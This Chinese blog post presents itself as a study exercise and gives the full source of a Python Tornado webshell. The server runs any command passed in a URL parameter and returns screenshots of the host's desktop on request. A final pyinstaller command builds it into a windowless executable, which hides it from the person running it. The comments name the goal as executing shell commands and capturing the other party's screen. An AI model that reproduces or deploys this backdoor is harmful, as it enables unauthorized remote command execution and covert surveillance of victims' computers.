python编写shell学习 可截屏

PS:仅做个人学习用途!
image.png
image.png
image.png

# coding=utf-8


#python webshell
#步骤
#1.构建一款HTTP协议服务器
#2.独立开放特定端口(http80/自定义)
#3.构建一个视图view(mvc)->APP
#4.执行shell命令+截取对方桌面
#
#tornado
#pyautogui
#os

from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer
import os
import pyautogui

define('port',default=14444,help='这是http协议通信端口')

#视图类
class index(RequestHandler):
    #poet get
    def get(self):
        #http://1270.0.1:14444/?wd=
        cmd=self.get_query_argument("wd"," ")
        if cmd=='shot':
            #截屏
            img=pyautogui.screenshot()
            img.save('shot.jpg')
            #二进制返回
            pic=open('shot.jpg','rb')
            pics=pic.read()
            self.write(pics)
            self.set_header("Content-type","image/png")
        else:
            rs=os.popen(cmd,'r')
            self.write(rs.read())
def makeapp():
    return Application([(r'/',index)])

if __name__=='__main__':
    parse_command_line()

    app=makeapp()

    #把应用部署到httpserver
    server=HTTPServer(app)
    server.bind(options.port)
    server.start()

    IOLoop.current().start()

pyinstaller -F 文件 -n exe文件名 -w(不显示命令行)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值